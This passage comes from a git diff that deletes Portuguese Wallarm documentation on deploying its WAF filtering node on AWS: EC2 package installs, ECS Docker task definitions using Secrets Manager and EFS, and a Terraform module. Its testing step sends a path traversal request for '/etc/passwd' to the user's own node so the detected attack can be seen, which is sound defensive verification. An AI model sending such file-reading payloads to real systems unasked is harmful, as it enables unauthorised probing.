-!!! Aviso "Limitações das instruções" - Essas instruções não abrangem a configuração de balanceamento de carga e dimensionamento automático do nó. Se estiver configurando esses componentes você mesmo, recomendamos que você revise as [instruções da AWS sobre o serviço de balanceamento de carga elástico](https://docs.aws.amazon.com/elasticloadbalancing/latest/userguide/what-is-load-balancing.html). - -## Requisitos - -* Conta AWS e usuário com as permissões de **admin** -* Acesso à conta com a função de **Administrador** e autenticação de dois fatores desativada no Console Wallarm para a [Nuvem dos EUA](https://us1.my.wallarm.com/) ou [Nuvem EU](https://my.wallarm.com/) - -## Opções de instalação do nó de filtragem - -Como o nó de filtragem opera como o servidor web ou módulo de [gateway de API](https://www.wallarm.com/what/the-concept-of-an-api-gateway), os pacotes do servidor web ou gateway de API devem ser instalados no sistema operacional juntamente com os pacotes do nó de filtragem. - -Você pode selecionar o servidor web ou gateway de API que seja mais adequado para a arquitetura de sua aplicação da seguinte lista: - -* [Instalar o nó de filtragem como o módulo NGINX Stable](#instalando-o-nó-de-filtragem-como-o-módulo-nginx-stable) -* [Instalar o nó de filtragem como o módulo NGINX Plus](#instalando-o-nó-de-filtragem-como-o-módulo-nginx-plus) - -## Instalando o nó de filtragem como o módulo NGINX Stable - -Para instalar o nó de filtragem como o módulo NGINX Stable na instância Amazon EC2: - -1. Crie uma instância Amazon EC2 a partir da imagem do sistema operacional suportada pelo Wallarm seguindo as [instruções da AWS](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EC2_GetStarted.html#ec2-launch-instance): - - * Debian 11.x Bullseye - * Ubuntu 18.04 Bionic - * Ubuntu 20.04 Focal - * Ubuntu 22.04 Jammy - * CentOS 7.x - * AlmaLinux - * Rocky Linux - * Oracle Linux 8.x - * Amazon Linux 2.0.2021x e inferiores -2. Conecte-se à instância criada seguindo as [instruções da AWS](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AccessingInstances.html). -3. Na instância, instale os pacotes do NGINX Stable e do nó de filtragem Wallarm seguindo as [instruções do Wallarm](../../../installation/nginx/dynamic-module.md). - -Para instalar o módulo de pós-análise em uma instância separada, por favor, repita os passos 1-2 e instale o módulo de pós-análise seguindo as [instruções do Wallarm](../../../admin-en/installation-postanalytics-en.md). - -## Instalando o nó de filtragem como o módulo NGINX Plus - -Para instalar o nó de filtragem como o módulo NGINX Plus na instância Amazon EC2: - -1. Crie uma instância Amazon EC2 a partir da imagem do sistema operacional suportada pelo Wallarm seguindo as [instruções da AWS](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EC2_GetStarted.html#ec2-launch-instance): - - * Debian 11.x Bullseye - * Ubuntu 18.04 Bionic - * Ubuntu 20.04 Focal - * Ubuntu 22.04 Jammy - * CentOS 7.x - * AlmaLinux - * Rocky Linux - * Oracle Linux 8.x - * Amazon Linux 2.0.2021x e inferiores -2. Conecte-se à instância criada seguindo as [instruções da AWS](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AccessingInstances.html). -3. Na instância, instale os pacotes do NGINX Plus e do nó de filtragem Wallarm seguindo as [instruções do Wallarm](../../../installation/nginx/dynamic-module.md). - -Para instalar o módulo de pós-análise em uma instância separada, por favor, repita os passos 1-2 e instale o módulo de pós-análise seguindo as [instruções do Wallarm](../../../admin-en/installation-postanalytics-en.md). \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/cloud-platforms/aws/docker-container.md b/docs/latest-pt-BR/installation/cloud-platforms/aws/docker-container.md deleted file mode 100644 index 62503d2aad..0000000000 --- a/docs/latest-pt-BR/installation/cloud-platforms/aws/docker-container.md +++ /dev/null @@ -1,389 +0,0 @@ -# Implantando a Imagem Docker do Wallarm na AWS - -Este guia rápido fornece as etapas para implantar a [imagem Docker do nó Wallarm baseado em NGINX](https://hub.docker.com/r/wallarm/node) na plataforma em nuvem da Amazon usando o [Amazon Elastic Container Service (Amazon ECS)](https://aws.amazon.com/getting-started/hands-on/deploy-docker-containers/). - -!!! aviso "Limitações das instruções" - Essas instruções não abrangem a configuração de balanceamento de carga e escalonamento automático do nó. Se estiver configurando esses componentes sozinho, recomendamos que você reveja a parte apropriada das [instruções da AWS](https://aws.amazon.com/getting-started/hands-on/deploy-docker-containers/). - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/aws-ecs-use-cases.md" - -## Requisitos - -* Conta e usuário da AWS com permissões **admin** -* AWS CLI 1 ou AWS CLI 2 devidamente [instalada](https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-install.html) e [configurada](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-quickstart.html) -* Acesso à conta com a função **Administrador** e autenticação de dois fatores desativada no Console Wallarm para o [US Cloud](https://us1.my.wallarm.com/) ou [EU Cloud](https://my.wallarm.com/) - -## Opções para a configuração do contêiner Docker do nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/docker-running-options.md" - -## Implantando o contêiner Docker do nó Wallarm configurado através de variáveis de ambiente - -Para implantar o nó de filtragem Wallarm contêinerizado configurado apenas por meio de variáveis de ambiente, são usados o Console de Gerenciamento da AWS e o AWS CLI. - ---8<-- "../include-pt-BR/waf/installation/get-api-or-node-token.md" - -1. Faça login no [AWS Management Console](https://console.aws.amazon.com/console/home) → lista de **Serviços** → **Elastic Container Service**. -1. Prossiga para a criação do cluster pelo botão **Criar Cluster**: - 1. Selecione o modelo **EC2 Linux + Networking**. - 2. Especifique o nome do cluster, por exemplo: `wallarm-cluster`. - 3. Se necessário, defina outras configurações de acordo com as [instruções da AWS](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/create_cluster.html). - 4. Salve o cluster. -1. Criptografe os dados sensíveis necessários para conectar ao Wallarm Cloud (token do nó) usando o [AWS Secrets Manager](https://docs.aws.amazon.com/secretsmanager/latest/userguide/tutorials_basic.html) ou [AWS Systems Manager → Parameter Store](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-paramstore-su-create.html). - - Nestas instruções, os dados sensíveis são armazenados no AWS Secrets Manager. - - !!! aviso "Acesso ao armazenamento de dados sensíveis" - Para permitir que o contêiner Docker leia os dados sensíveis criptografados, certifique-se de que as configurações da AWS atendem aos seguintes requisitos: - - * Os dados sensíveis são armazenados na região usada para executar o contêiner Docker. - * A função de execução de tarefa ECS especificada no parâmetro `executionRoleArn` da definição de tarefa deve ter uma política de leitura com privilégios mínimos, limitada ao ARN específico do segredo. Se você usar uma chave KMS gerenciada pelo cliente para criptografar o segredo, conceda também a permissão `kms:Decrypt` para essa chave. [Mais detalhes sobre a configuração das políticas IAM →](https://docs.aws.amazon.com/secretsmanager/latest/userguide/auth-and-access_identity-based-policies.html) - - Exemplo de política IAM: - - ```json - { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "ReadSpecificSecret", - "Effect": "Allow", - "Action": [ - "secretsmanager:GetSecretValue", - "secretsmanager:DescribeSecret" - ], - "Resource": "arn:aws:secretsmanager:::secret:*" - }, - { - "Sid": "DecryptForSecret", - "Effect": "Allow", - "Action": [ - "kms:Decrypt" - ], - "Resource": "arn:aws:kms:::key/", - "Condition": { - "StringEquals": { - "kms:ViaService": "secretsmanager..amazonaws.com" - } - } - } - ] - } - ``` - - Se você usar a chave gerenciada padrão da AWS para o Secrets Manager, pode omitir a declaração `DecryptForSecret`. -1. Crie o seguinte arquivo JSON local com a [definição de tarefa](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definitions.html) (a definição de tarefa define o cenário operacional do contêiner Docker): - - === "Se você usa o Wallarm US Cloud" - ```json - { - "executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", - "containerDefinitions": [ - { - "memory": 128, - "portMappings": [ - { - "hostPort": 80, - "containerPort": 80, - "protocol": "tcp" - } - ], - "essential": true, - "environment": [ - { - "name": "WALLARM_API_HOST", - "value": "us1.api.wallarm.com" - }, - { - "name": "NGINX_BACKEND", - "value": "" - } - ], - "secrets": [ - { - "name": "WALLARM_API_TOKEN", - "valueFrom": "arn:aws:secretsmanager:::secret::::" - } - ], - "name": "wallarm-container", - "image": "registry-1.docker.io/wallarm/node:4.8.0-1" - } - ], - "family": "wallarm-api-security-node" - } - ``` - === "Se você usa o Wallarm EU Cloud" - ```json - { - "executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", - "containerDefinitions": [ - { - "memory": 128, - "portMappings": [ - { - "hostPort": 80, - "containerPort": 80, - "protocol": "tcp" - } - ], - "essential": true, - "environment": [ - { - "name": "NGINX_BACKEND", - "value": "" - } - ], - "secrets": [ - { - "name": "WALLARM_API_TOKEN", - "valueFrom": "arn:aws:secretsmanager:::secret::::" - } - ], - "name": "wallarm-container", - "image": "registry-1.docker.io/wallarm/node:4.8.0-1" - } - ], - "family": "wallarm-api-security-node" - } - ``` - - * ``: [seu ID da conta AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/console_account-alias.html). - * O objeto `environment` estabelece as variáveis de ambiente que devem ser passadas para o contêiner Docker em formato de texto. O conjunto de variáveis de ambiente disponíveis é descrito na tabela abaixo. Recomenda-se passar a variável `WALLARM_API_TOKEN` no objeto `secrets`. - * O objeto `secret` estabelece as variáveis de ambiente que devem ser passadas para o contêiner Docker como os links para o armazenamento de dados sensíveis. O formato dos valores depende do armazenamento selecionado (veja mais detalhes na documentação do [AWS Secrets Manager](https://docs.aws.amazon.com/secretsmanager/latest/userguide/tutorials_basic.html) ou [AWS Systems Manager → Parameter Store](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-paramstore-su-create.html)). - - É recomendado passar a variável `WALLARM_API_TOKEN` no objeto `secrets`. - - --8<-- "../include-pt-BR/waf/installation/nginx-docker-all-env-vars-latest.md" - - * Todos os parâmetros do arquivo de configuração são descritos na [documentação da AWS](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters.html). -1. Registre a definição de tarefa com base no arquivo de configuração JSON usando o comando [`aws ecs register‑task‑definition`](https://docs.aws.amazon.com/cli/latest/reference/ecs/register-task-definition.html): - - ```bash - aws ecs register-task-definition --cli-input-json file:/// - ``` - - * ``: caminho para o arquivo JSON com a definição de tarefa na máquina local. - * ``: nome e extensão do arquivo JSON com a definição de tarefa. -1. Execute a tarefa no cluster usando o comando [`aws ecs run-task`](https://docs.aws.amazon.com/cli/latest/reference/ecs/run-task.html): - - ```bash - aws ecs run-task --cluster --launch-type EC2 --task-definition - ``` - - * ``: nome do cluster criado na primeira etapa. Por exemplo, `wallarm-cluster`. - * ``: nome da definição de tarefa criada. O valor deve corresponder ao valor do parâmetro `family` especificado no arquivo JSON com a definição de tarefa. Por exemplo, `wallarm-api-security-node`. -1. Abra o AWS Management Console → **Elastic Container Service** → cluster com a tarefa em execução → **Tasks** e certifique-se de que a tarefa está exibida na lista. -1. [Teste a operação do nó de filtragem](#testing-the-filtering-node-operation). - -## Implantando o contêiner Docker do nó Wallarm configurado através do arquivo montado - -Para implantar o nó de filtragem Wallarm contêinerizado configurado por meio de variáveis de ambiente e arquivo montado, são usados o Console de Gerenciamento da AWS e o AWS CLI. - -Nestas instruções, o arquivo de configuração é montado a partir do sistema de arquivos [AWS EFS](https://docs.aws.amazon.com/efs/latest/ug/whatisefs.html). Você pode revisar outros métodos para montar o arquivo na [documentação da AWS](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/using_data_volumes.html). - -Para implantar o contêiner com variáveis de ambiente e arquivo de configuração montado a partir da AWS EFS: - ---8<-- "../include-pt-BR/waf/installation/get-api-or-node-token.md" - -1. Faça login no [AWS Management Console](https://console.aws.amazon.com/console/home) → lista de **Serviços** → **Elastic Container Service**. -1. Prossiga para a criação do cluster pelo botão **Criar Cluster**: - - * **Modelo**: `EC2 Linux + Networking`. - * **Nome do cluster**: `wallarm-cluster` (como exemplo). - * **Modelo de provisionamento**: `On-Demand Instance`. - * **Tipo de instância EC2**: `t2.micro`. - * **Número de instâncias**: `1`. - * **EC2 AMI ID**: `Amazon Linux 2 Amazon ECS-optimized AMI`. - * **Par de chaves**: [par de chaves](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html) para conexão SSH com a instância. Você precisará se conectar à instância via SSH para enviar o arquivo de configuração para o armazenamento. - * As outras configurações podem ser mantidas padrão. Ao alterar outras configurações, é recomendável seguir as [instruções de configuração do AWS EFS](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/tutorial-efs-volumes.html). -1. Configure o armazenamento AWS EFS seguindo as etapas 2-4 das [instruções da AWS](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/tutorial-efs-volumes.html). -1. Na 4ª etapa das instruções da AWS, crie o arquivo de configuração `default` e coloque o arquivo no diretório que armazena os arquivos para montagem por padrão. O arquivo `default` deve cobrir a configuração do nó de filtragem. Um exemplo do arquivo com configurações mínimas: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - [Conjunto de diretivas do nó de filtragem que podem ser especificadas no arquivo de configuração → ][nginx-waf-directives] -1. Criptografe os dados sensíveis necessários para conectar ao Wallarm Cloud (token do nó) usando o [AWS Secrets Manager](https://docs.aws.amazon.com/secretsmanager/latest/userguide/tutorials_basic.html) ou [AWS Systems Manager → Parameter Store](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-paramstore-su-create.html). - - Nestas instruções, os dados sensíveis são armazenados no AWS Secrets Manager. - - !!! aviso "Acesso ao armazenamento de dados sensíveis" - Para permitir que o contêiner Docker leia os dados sensíveis criptografados, certifique-se de que as configurações da AWS atendem aos seguintes requisitos: - - * Os dados sensíveis são armazenados na região usada para executar o contêiner Docker. - * A função de execução de tarefa ECS especificada no parâmetro `executionRoleArn` da definição de tarefa deve ter uma política de leitura com privilégios mínimos, limitada ao ARN específico do segredo. Se você usar uma chave KMS gerenciada pelo cliente para criptografar o segredo, conceda também a permissão `kms:Decrypt` para essa chave. Consulte o [exemplo de política acima](#implantando-o-conteiner-docker-do-no-wallarm-configurado-atraves-de-variaveis-de-ambiente) e a [documentação de políticas IAM →](https://docs.aws.amazon.com/secretsmanager/latest/userguide/auth-and-access_identity-based-policies.html) -1. Crie o seguinte arquivo JSON local com a [definição de tarefa](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definitions.html) (a definição de tarefa define o cenário operacional do contêiner Docker): - - === "Se você usa o Wallarm US Cloud" - ```json - { - "executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", - "containerDefinitions": [ - { - "memory": 128, - "portMappings": [ - { - "hostPort": 80, - "containerPort": 80, - "protocol": "tcp" - } - ], - "essential": true, - "mountPoints": [ - { - "containerPath": "", - "sourceVolume": "" - } - ], - "environment": [ - { - "name": "WALLARM_API_HOST", - "value": "us1.api.wallarm.com" - } - ], - "secrets": [ - { - "name": "WALLARM_API_TOKEN", - "valueFrom": "arn:aws:secretsmanager:::secret::::" - } - ], - "name": "wallarm-container", - "image": "registry-1.docker.io/wallarm/node:4.8.0-1" - } - ], - "volumes": [ - { - "name": "", - "efsVolumeConfiguration": { - "fileSystemId": "", - "transitEncryption": "ENABLED" - } - } - ], - "family": "wallarm-api-security-node" - } - ``` - === "Se você usa o Wallarm EU Cloud" - ```json - { - "executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", - "containerDefinitions": [ - { - "memory": 128, - "portMappings": [ - { - "hostPort": 80, - "containerPort": 80, - "protocol": "tcp" - } - ], - "essential": true, - "mountPoints": [ - { - "containerPath": "/etc/nginx/sites-enabled", - "sourceVolume": "default" - } - ], - "secrets": [ - { - "name": "WALLARM_API_TOKEN", - "valueFrom": "arn:aws:secretsmanager:::secret::::" - } - ], - "name": "wallarm-container", - "image": "registry-1.docker.io/wallarm/node:4.8.0-1" - } - ], - "volumes": [ - { - "name": "default", - "efsVolumeConfiguration": { - "fileSystemId": "", - "transitEncryption": "ENABLED" - } - } - ], - "family": "wallarm-api-security-node" - } - ``` - - * ``: [seu ID da conta AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/console_account-alias.html). - * ``: diretório do contêiner para o qual o arquivo de configuração deve ser montado. Os arquivos de configuração podem ser montados nos seguintes diretórios de contêineres usados pelo NGINX: - - * `/etc/nginx/conf.d` — configurações comuns - * `/etc/nginx/sites-enabled` — configurações do host virtual - * `/var/www/html` — arquivos estáticos - - As diretivas do nó de filtragem devem ser descritas no arquivo `/etc/nginx/sites-enabled/default`. - - * ``: nome do objeto `volumes` que contém a configuração do armazenamento AWS EFS do arquivo montado (o valor deve ser o mesmo que ``). - * ``: nome do objeto `volumes` que contém a configuração do armazenamento AWS EFS do arquivo montado. - * ``: ID do sistema de arquivos AWS EFS que contém o arquivo que deve ser montado no contêiner. ID é exibido no AWS Management Console → **Serviços** → **EFS** → **Sistemas de arquivos**. - * O objeto `environment` estabelece as variáveis de ambiente que devem ser passadas para o contêiner Docker em formato de texto. O conjunto de variáveis de ambiente disponíveis é descrito na tabela abaixo. Recomenda-se passar a variável `WALLARM_API_TOKEN` no objeto `secrets`. - * O objeto `secret` estabelece as variáveis de ambiente que devem ser passadas para o contêiner Docker como os links para o armazenamento de dados sensíveis. O formato dos valores depende do armazenamento selecionado (veja mais detalhes na documentação do [AWS Secrets Manager](https://docs.aws.amazon.com/secretsmanager/latest/userguide/tutorials_basic.html) ou [AWS Systems Manager → Parameter Store](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-paramstore-su-create.html)). - - É recomendado passar a variável `WALLARM_API_TOKEN` no objeto `secrets`. - - --8<-- "../include-pt-BR/waf/installation/nginx-docker-env-vars-to-mount-latest.md" - - * Todos os parâmetros do arquivo de configuração são descritos na [documentação da AWS](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters.html). -1. Registre a definição de tarefa com base no arquivo de configuração JSON usando o comando [`aws ecs register‑task‑definition`](https://docs.aws.amazon.com/cli/latest/reference/ecs/register-task-definition.html): - - ```bash - aws ecs register-task-definition --cli-input-json file:/// - ``` - - * ``: caminho para o arquivo JSON com a definição de tarefa na máquina local. - * ``: nome e extensão do arquivo JSON com a definição de tarefa. -1. Execute a tarefa no cluster usando o comando [`aws ecs run-task`](https://docs.aws.amazon.com/cli/latest/reference/ecs/run-task.html): - - ```bash - aws ecs run-task --cluster --launch-type EC2 --task-definition - ``` - - * ``: nome do cluster criado na primeira etapa. Por exemplo, `wallarm-cluster`. - * ``: nome da definição de tarefa criada. O valor deve corresponder ao valor do parâmetro `family` especificado no arquivo JSON com a definição de tarefa. Por exemplo, `wallarm-api-security-node`. -1. Abra o AWS Management Console → **Elastic Container Service** → cluster com a tarefa em execução → **Tasks** e certifique-se de que a tarefa está exibida na lista. -1. [Teste a operação do nó de filtragem](#testing-the-filtering-node-operation). - -## Testando a operação do nó de filtragem - -1. No AWS Management Console, abra a tarefa em execução e copie o endereço IP do contêiner do campo **Link Externo**. - - ![Configurando a instância do contêiner][aws-copy-container-ip-img] - - Se o endereço IP estiver vazio, certifique-se de que o contêiner está no status **RUNNING**. - -2. Envie a solicitação com o teste [Path Traversal][ptrav-attack-docs] para o endereço copiado: - - ``` - curl http:///etc/passwd - ``` -3. Abra o Wallarm Console → **Events** na [US Cloud](https://us1.my.wallarm.com/attacks) ou [EU Cloud](https://my.wallarm.com/attacks) e certifique-se de que o ataque está exibido na lista. - ![Ataques na UI][attacks-in-ui-image] - -Os detalhes sobre erros que ocorreram durante a implantação do contêiner são exibidos nos detalhes da tarefa no AWS Management Console. Se o contêiner estiver indisponível, certifique-se de que os parâmetros necessários do nó de filtragem com valores corretos são passados para o contêiner. diff --git a/docs/latest-pt-BR/installation/cloud-platforms/aws/terraform-module/examples.md b/docs/latest-pt-BR/installation/cloud-platforms/aws/terraform-module/examples.md deleted file mode 100644 index 25a70abda7..0000000000 --- a/docs/latest-pt-BR/installation/cloud-platforms/aws/terraform-module/examples.md +++ /dev/null @@ -1,55 +0,0 @@ -# Testando o Módulo Terraform Wallarm com exemplos - -Preparamos exemplos de diferentes maneiras de usar o [Módulo Terraform Wallarm](https://registry.terraform.io/modules/wallarm/wallarm/aws/), para que você possa experimentá-lo antes de implementá-lo na produção. - -Existem 4 exemplos representando abordagens frequentes de implementação: - -* Solução Proxy -* Solução Avançada de Proxy -* Solução Espelho - -## Solução Proxy - -[Este exemplo](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/proxy) demonstra como implantar o Wallarm como um proxy inline para a Nuvem Privada Virtual (VPC) da AWS usando o módulo Terraform. - -A solução proxy Wallarm fornece uma camada de rede funcional adicional que atua como um roteador de tráfego HTTP avançado com as funções de segurança do Next-Gen WAF e API. Esta é a opção de implantação **recomendada**, pois oferece a solução mais funcional e fácil de implementar. - -![Esquema Proxy](../../../../images/waf-installation/aws/terraform/wallarm-as-proxy.png) - -Características principais da solução: - -* Wallarm processa o tráfego no modo síncrono, que não limita as capacidades do Wallarm e permite a mitigação instantânea de ameaças (`preset=proxy`). -* A solução Wallarm é implantada como uma camada de rede separada, que permite controlá-la independentemente de outras camadas e colocar a camada em quase qualquer posição de estrutura de rede. A posição recomendada está atrás de um balanceador de carga voltado para a Internet. - -[Consulte o guia de implementação de exemplo no GitHub](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/proxy) - -Você pode ver a flexibilidade da solução em ação ao experimentar a [solução avançada de proxy](#proxy-advanced-solution). - -## Solução Avançada de Proxy - -[Este exemplo](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced) demonstra como implantar o Wallarm como um proxy inline com configurações avançadas na Nuvem Privada Virtual (VPC) da AWS usando o módulo Terraform. É muito semelhante à [implantação de proxy simples](#proxy-solution), mas com algumas opções de configuração avançada frequentes demonstradas. - -A solução avançada de proxy Wallarm (assim como um proxy simples) fornece uma camada de rede funcional adicional que atua como um roteador de tráfego HTTP avançado com as funções de segurança do Next-Gen WAF e API. - -[Consulte o guia de implementação de exemplo no GitHub](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced) - -## Solução Proxy para Amazon API Gateway - -[Este exemplo](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/apigateway) demonstra como proteger o [Amazon API Gateway](https://aws.amazon.com/api-gateway/) com Wallarm implementado como um proxy inline para a Nuvem Privada Virtual (VPC) da AWS usando o módulo Terraform. - -A solução proxy Wallarm fornece uma camada de rede funcional adicional que atua como um roteador de tráfego HTTP avançado com as funções de segurança do Next-Gen WAF e API. Ele pode rotear solicitações para quase qualquer tipo de serviço, incluindo o Amazon API Gateway, sem limitar suas capacidades. - -[Consulte o guia de implementação de exemplo no GitHub](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/apigateway) - -## Solução Espelho - -[Este exemplo](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/mirror) demonstra como implantar o módulo Terraform Wallarm como uma solução Out-of-Band analisando o tráfego espelhado. Espera-se que o NGINX, Envoy, Istio e/ou Traefik já forneçam espelhamento de tráfego. - -![Esquema Espelho](../../../../images/waf-installation/aws/terraform/wallarm-for-mirrored-traffic.png) - -Características principais da solução: - -* Wallarm processa o tráfego no modo assíncrono (`preset=mirror`) sem afetar o fluxo de tráfego atual, tornando a abordagem a mais segura. -* A solução Wallarm é implantada como uma camada de rede separada, que permite controlá-la independentemente de outras camadas e colocar a camada em quase qualquer posição de estrutura de rede. A posição recomendada está na rede privada. - -[Consulte o guia de implementação de exemplo no GitHub](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/mirror) \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/cloud-platforms/aws/terraform-module/overview.md b/docs/latest-pt-BR/installation/cloud-platforms/aws/terraform-module/overview.md deleted file mode 100644 index 7e934db3a6..0000000000 --- a/docs/latest-pt-BR/installation/cloud-platforms/aws/terraform-module/overview.md +++ /dev/null @@ -1,111 +0,0 @@ -# Implantando o Wallarm na AWS usando Terraform - -O Wallarm fornece o [módulo do Terraform](https://registry.terraform.io/modules/wallarm/wallarm/aws/) para implantar o nó na [AWS](https://aws.amazon.com/) a partir do ambiente compatível com o Terraform. Use estas instruções para explorar o módulo e tentar os exemplos de implantação fornecidos. - -Ao implementar o módulo Wallarm Terraform, fornecemos a solução que permite duas opções principais de implantação do Wallarm: **[no modo inline](../../../inline/overview.md) (que é proxy neste método de implantação)** e as soluções de segurança [**Out-of-band (espelho)**](../../../oob/overview.md). A opção de implantação é facilmente controlada pela variável `preset` do módulo Wallarm. - -## Casos de uso - -Entre todas as opções suportadas de [implantação do Wallarm](../../../supported-deployment-options.md), o módulo Terraform é recomendado para a implantação do Wallarm nestes **casos de uso**: - -* Sua infraestrutura existente reside na AWS. -* Você aproveita a prática de Infraestrutura como Código (IaC). O módulo Terraform do Wallarm permite o gerenciamento automatizado e provisionamento do nó Wallarm na AWS, aumentando a eficiência e consistência. - -## Requisitos - -* Terraform 1.0.5 ou superior [instalado localmente](https://learn.hashicorp.com/tutorials/terraform/install-cli) -* Acesso à conta com a função de **Administrador** [role](../../../../user-guides/settings/users.md#user-roles) no Console Wallarm na Nuvem dos EUA ou da UE [Cloud](../../../../about-wallarm/overview.md#cloud) -* Acesso a `https://us1.api.wallarm.com` se estiver trabalhando com a nuvem Wallarm US ou a `https://api.wallarm.com` se estiver trabalhando com a nuvem Wallarm EU. Verifique se o acesso não está bloqueado por um firewall - -Este tópico não inclui instruções para criar todos os recursos da AWS necessários para implantar o Wallarm, como um cluster VPC. Para detalhes, consulte o [guia Terraform](https://learn.hashicorp.com/tutorials/terraform/module-use) relevante. - -## Como usar o Módulo Terraform AWS Wallarm? - -Para implantar o Wallarm para produção usando o módulo Terraform da AWS: - -1. Inscreva-se para o Console Wallarm na [Cloud EUA](https://us1.my.wallarm.com/signup) or [Cloud EU](https://my.wallarm.com/signup). -1. Abra o Console Wallarm → **Nós** e crie o nó do tipo **Wallarm node**. - - ![Criando um nó Wallarm](../../../../images/user-guides/nodes/create-wallarm-node-name-specified.png) -1. Copie o token de nó gerado. -1. Adicione o código do módulo `wallarm` à sua configuração Terraform: - - ```conf - module "wallarm" { - source = "wallarm/wallarm/aws" - - instance_type = "..." - - vpc_id = "..." - - preset = "proxy" - proxy_pass = "https://..." - token = "..." - - ... - } - ``` -1. Definir valores de variáveis na configuração do módulo `wallarm`: - -| Variável | Descrição | Tipo | Obrigatório? | -| --------- | ----------- | --------- | --------- | -| `instance_type` | [Tipo de instância Amazon EC2](https://aws.amazon.com/ec2/instance-types/) a ser usada para a implantação do Wallarm, por exemplo: `t3.small`. | string | Sim -| `vpc_id` | [ID do Virtual Private Cloud da AWS](https://docs.aws.amazon.com/managedservices/latest/userguide/find-vpc.html) para implantar a instância EC2 do Wallarm.| string | Sim -| `token` | [Token de nó Wallarm](../../../../user-guides/nodes/nodes.md#creating-a-node) copiado da interface do usuário do Wallarm Console.

            Usando um token para várias instalações

            Você pode usar um token em várias instalações, independentemente da [plataforma](../../../../installation/supported-deployment-options.md) selecionada. Ele permite o agrupamento lógico de instâncias de nó na interface do usuário do Console Wallarm. Exemplo: você implanta vários nós Wallarm em um ambiente de desenvolvimento, cada nó está em sua própria máquina de um determinado desenvolvedor.

            | string | Sim -| **Variáveis específicas do Wallarm** | | | | -| `host` | [Servidor de API Wallarm](../../../../about-wallarm/overview.md#cloud). Valores possíveis:
            • `us1.api.wallarm.com` para a Cloud EUA
            • `api.wallarm.com` para a Cloud EU
            Por padrão, `api.wallarm.com`. | string | Não -`upstream` | A [versão do nó Wallarm](../../../../updating-migrating/versioning-policy.md#version-list) a ser implantada. A versão mínima suportada é `4.0`.

            Por padrão, `4.6`. | string | Não -| `preset` | Esquema de implantação do Wallarm. Valores possíveis:
            • `proxy`
            • `mirror`
            Por padrão, `proxy`. | string | Não -| `proxy_pass` | Protocolo do servidor proxy e endereço. O nó Wallarm processará as solicitações enviadas para o endereço especificado e as proxy para as legítimas. Como protocolo, 'http' ou 'https' podem ser especificados. O endereço pode ser especificado como um nome de domínio ou endereço IP, e uma porta opcional. | string | Sim, if `preset` is `proxy` -| `mode` | [Modo de filtração de tráfego](../../../../admin-en/configure-wallarm-mode.md). Valores possíveis: `off`, `monitoring`, `safe_blocking`, `block`.

            Por padrão, `monitoring`. | string | Não -|`libdetection` | Esteja para [usar a biblioteca libdetection](../../../../about-wallarm/protecting-against-attacks.md#library-libdetection) durante a análise de tráfego.

            Por padrão, `true`. | bool | Não -|`global_snippet` | Configuração personalizada a ser adicionada à configuração global do NGINX. Você pode colocar o arquivo com a configuração no diretório de código do Terraform e especificar o caminho para este arquivo nesta variável.

            Você encontrará o exemplo de configuração da variável no [exemplo de implantação da solução proxy avançada](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced/main.tf#L17). | string | Não -|`http_snippet` | Configuração personalizada a ser adicionada ao bloco de configuração `http` do NGINX. Você pode colocar o arquivo com a configuração no diretório de código do Terraform e especificar o caminho para este arquivo nesta variável.

            Você encontrará o exemplo de configuração da variável no [exemplo de implantação da solução proxy avançada](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced/main.tf#L18). | string | Não -|`server_snippet` | Configuração personalizada a ser adicionada ao bloco de configuração `server` do NGINX. Você pode colocar o arquivo com a configuração no diretório de código do Terraform e especificar o caminho para este arquivo nesta variável.

